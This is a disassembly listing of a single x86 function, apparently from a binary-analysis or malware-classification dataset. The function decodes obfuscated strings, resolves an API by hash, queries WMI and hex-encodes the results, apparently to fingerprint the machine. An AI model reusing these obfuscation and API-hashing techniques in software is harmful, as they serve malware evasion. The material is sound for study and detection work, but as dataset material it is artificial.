Function at 0x439160
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov edi, dword [ebp + 8]
mov eax, dword [0x44e1c4]
mov dword [esp + 0x14], 0xb1fb8fab
mov dword [esp + 0x18], 0xb527b32b
mov dword [esp + 0x1c], 0xb9d1b720
mov dword [esp + 0x20], 0xbdfebbd7
mov dword [esp + 0x24], 0xa1d5bf2e
mov dword [esp + 0x28], 0xa5c5a336
mov dword [esp + 0x2c], 0xa9a6a783
xor edx, edx
mov ecx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, edx
and esi, 3
xor esi, 0xe3
mov ebx, edx
and ebx, 0x1c
sub ebx, esi
xor bl, byte [esp + edx + 0x14]
add bl, 0x6f
mov byte [esp + edx + 0x14], bl
mov esi, edx
xor esi, 0x7ffffffe
or ecx, 1
and ecx, esi
add ecx, ecx
mov esi, ecx
and esi, edx
or ecx, edx
xor ecx, 1
add ecx, esi
mov edx, ecx
cmp ecx, 0x1c
jb 0x4391c0
lea esi, [esp + 4]
lea ecx, [esp + 0x84]
lea ebx, [esp + 0x14]
push esi
push 8
push ecx
push 0xd
push ebx
push 0
call eax
test eax, eax
jns 0x439227
mov dword [esp + 0x84], 0x3a0043
mov dword [esp + 0x88], 0x5c
mov dword [esp + 0x10], 0xc160ac02
mov dword [esp + 0xc], 0x649f13e2
mov dword [esp + 8], 0xd0670b97
mov dword [esp + 4], 0x72bbcdaa
mov dword [esp + 0x54], 0
lea eax, [esp + 0x54]
push eax
push 0x444668
push 1
push 0
push 0x444678
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x4396be
mov dword [esp + 0x14], 0x97259936
mov dword [esp + 0x18], 0x933e9527
mov dword [esp + 0x1c], 0x8f319134
mov dword [esp + 0x20], 0x8b3f8d35
mov dword [esp + 0x24], 0x87488922
mov dword [esp + 0x28], 0x8584
mov byte [esp + 0x2c], 0
mov ebx, 0x5102f8e6
mov edi, 0xaefd0719
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ebx - 0x5102f8d2]
mov edx, esi
mov eax, esi
xor eax, 0xecb76753
or esi, 0xac
and esi, eax
mov ecx, edi
and ecx, 0xacb50753
mov eax, ebx
and eax, 0x110098ac
or eax, ecx
and edx, 0x53
xor edx, 0xecb76753
add edx, esi
and esi, 0x53
sub edx, esi
mov ecx, edx
and ecx, eax
add edx, eax
add ecx, ecx
sub edx, ecx
add dl, 0x82
mov byte [esp + ebx - 0x5102f8d2], dl
inc ebx
dec edi
cmp ebx, 0x5102f8ff
jne 0x4392c0
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x54]
mov ecx, dword [esi]
lea edx, [esp + 0x50]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x88], eax
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
mov edi, dword [ebp + 8]
lea esi, [esp + 4]
lea ebx, [esp + 0x14]
js 0x4396aa
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x6c]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x4396a0
mov dword [esp + 0x14], 0x31ed3fd5
mov dword [esp + 0x18], 0x353233ec
mov word [esp + 0x1c], 0
mov byte [esp + 0x1e], 0
xor ecx, ecx
mov eax, 0xffffffff
nop
nop
nop
nop
mov edx, eax
or edx, 0xfee0da75
add edx, ecx
inc edx
mov esi, edx
and esi, 0xfd
mov edi, edx
and edi, 2
or edx, 2
imul edx, edi
xor edi, 2
imul edi, esi
mov ebx, ecx
xor ebx, 0x75
add ebx, edx
add ebx, edi
xor bl, byte [esp + ecx + 0x14]
add bl, 0xb7
mov byte [esp + ecx + 0x14], bl
inc ecx
dec eax
cmp ecx, 0xb
jne 0x4393a0
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, eax
mov dword [esp + 0x14], 0x59015b11
mov dword [esp + 0x18], 0x5d055f04
mov dword [esp + 0x1c], 0x51065319
mov dword [esp + 0x20], 0x55285730
mov dword [esp + 0x24], 0xa9f0ab34
mov dword [esp + 0x28], 0xadffaffe
mov dword [esp + 0x2c], 0xa1c2a3ff
mov dword [esp + 0x30], 0xa519a709
mov dword [esp + 0x34], 0xb9cfbb16
mov dword [esp + 0x38], 0xbd1fbfce
mov dword [esp + 0x3c], 0xb1edb3fa
mov dword [esp + 0x40], 0xb5e3b7e1
mov word [esp + 0x44], 0x8bb4
mov dword [esp + 0x46], 0
mov word [esp + 0x4a], 0
mov eax, 0x4dd706ef
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x4dd706db]
xor ecx, eax
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
add cl, 0x54
mov byte [esp + eax - 0x4dd706db], cl
inc eax
cmp eax, 0x4dd70727
jne 0x439470
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, dword [esp + 0x50]
mov ecx, dword [edi]
lea edx, [esp + 0x60]
push edx
push 0
push 0x30
mov dword [esp + 0x70], eax
push eax
mov dword [esp + 0x78], esi
push esi
push edi
call dword [ecx + 0x50]
test eax, eax
mov edi, dword [ebp + 8]
lea ebx, [esp + 0x14]
js 0x43968a
mov dword [esp + 0x58], 0
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
lea edx, [esp + 0x58]
lea esi, [esp + 0x5c]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x439680
cmp eax, 1
je 0x439680
cmp dword [esp + 0x58], 0
je 0x439680
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x5c]
mov dword [esp + 0x14], 0x39913b81
mov dword [esp + 0x18], 0x25b127a6
mov dword [esp + 0x1c], 0x21b6238b
mov dword [esp + 0x20], 0x2db52f92
mov dword [esp + 0x24], 0x29842bbf
mov dword [esp + 0x28], 0x15881783
mov word [esp + 0x2c], 0x1314
mov dword [esp + 0x2e], 0
mov ecx, 0xb
mov edx, 0xf4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 9]
mov ebx, edx
xor ebx, ecx
and ebx, esi
xor ebx, ecx
add bl, 0xc9
mov byte [esp + ecx + 9], bl
inc ecx
dec edx
cmp ecx, 0x29
jne 0x439570
mov ecx, dword [eax]
push 0
push 0
lea esi, [esp + 0x78]
push esi
push 0
lea edx, [esp + 0x24]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
lea ebx, [esp + 0x14]
js 0x43966f
cmp word [esp + 0x70], 8
jne 0x43966f
mov eax, dword [esp + 0x78]
movzx ecx, word [eax]
test cx, cx
mov dword [esp + 0x4c], eax
je 0x439605
add eax, 2
xor esi, esi
jmp 0x4395dc
inc esi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x439607
cmp cx, 0x7f
jbe 0x4395d0
movzx edx, cx
cmp edx, 0x7ff
ja 0x4395fa
mov ecx, esi
and ecx, 2
xor esi, 2
lea esi, [esi + ecx*2]
jmp 0x4395d1
cmp cx, 0xffff
je 0x4395d1
add esi, 3
jmp 0x4395d1
xor esi, esi
lea edi, [esi + 1]
push edi
call fcn.004084d0
add esp, 4
push dword [esp + 0x4c]
push edi
mov dword [esp + 0x54], eax
push eax
call fcn.00409310
add esp, 0xc
mov eax, 3
sub eax, esi
cmp eax, 0xfffffffd
jae 0x439636
mov eax, 0xfffffffc
add eax, esi
shr eax, 2
cmp eax, 3
mov edi, dword [ebp + 8]
jb 0x439648
mov eax, 3
lea eax, [eax*4 + 4]
lea ecx, [esp + 4]
push eax
mov esi, dword [esp + 0x50]
push esi
push ecx
call fcn.00408500
add esp, 0xc
push esi
call fcn.004084e0
add esp, 4
lea esi, [esp + 0x70]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x68]
call esi
push dword [esp + 0x64]
call esi
lea esi, [esp + 4]
mov eax, dword [esp + 0x50]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x6c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x54]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0xbeb8f1a1
push dword [0x44e1bc]
call fcn.00440350
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
lea ecx, [esp + 0xa0]
push ecx
call eax
test eax, eax
je 0x4396ee
mov esi, ebx
imul eax, dword [esi], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + 4], eax
mov ebx, 0xffffffff
mov esi, 0xfffffffe
push 0x10
push 9
push edi
push eax
call fcn.0041fec0
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add esi, 2
cmp byte [eax + ebx + 1], 0
lea ebx, [ebx + 1]
jne 0x439720
xor ebx, 8
not esi
and esi, 0x10
mov ecx, esi
sub ecx, ebx
je 0x43974b
sub ebx, esi
add eax, ebx
push ecx
push 0x30
push eax
call fcn.00408680
add esp, 0xc
lea eax, [edi + 8]
xor ecx, ecx
cmp dword [esp + 8], 0
setne cl
imul ecx, dword [esp + ecx*4 + 4], 0x1a5845
add ecx, 0xebde8a13
mov dword [esp + 8], ecx
mov esi, 0xfffffffe
mov ebx, 0xffffffff
push 0x10
push 9
push eax
push ecx
call fcn.0041fec0
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add esi, 2
cmp byte [eax + ebx + 1], 0
lea ebx, [ebx + 1]
jne 0x439790
xor ebx, 8
not esi
and esi, 0x10
mov ecx, esi
sub ecx, ebx
je 0x4397bb
sub ebx, esi
add eax, ebx
push ecx
push 0x30
push eax
call fcn.00408680
add esp, 0xc
lea eax, [edi + 0x10]
xor ecx, ecx
cmp dword [esp + 0xc], 0
setne cl
imul ecx, dword [esp + ecx*4 + 8], 0x1a5845
add ecx, 0xebde8a13
mov dword [esp + 0xc], ecx
mov esi, 0xfffffffe
mov ebx, 0xffffffff
push 0x10
push 9
push eax
push ecx
call fcn.0041fec0
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add esi, 2
cmp byte [eax + ebx + 1], 0
lea ebx, [ebx + 1]
jne 0x439800
xor ebx, 8
not esi
and esi, 0x10
mov ecx, esi
sub ecx, ebx
je 0x43982b
sub ebx, esi
add eax, ebx
push ecx
push 0x30
push eax
call fcn.00408680
add esp, 0xc
add edi, 0x18
xor eax, eax
cmp dword [esp + 0x10], 0
setne al
imul eax, dword [esp + eax*4 + 0xc], 0x1a5845
add eax, 0xebde8a13
mov esi, 0xfffffffe
mov ebx, 0xffffffff
push 0x10
push 9
push edi
push eax
call fcn.0041fec0
add esp, 0x10
nop
nop
nop
add esi, 2
cmp byte [eax + ebx + 1], 0
lea ebx, [ebx + 1]
jne 0x439860
xor ebx, 8
not esi
and esi, 0x10
mov ecx, esi
sub ecx, ebx
je 0x43988b
sub ebx, esi
add eax, ebx
push ecx
push 0x30
push eax
call fcn.00408680
add esp, 0xc
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret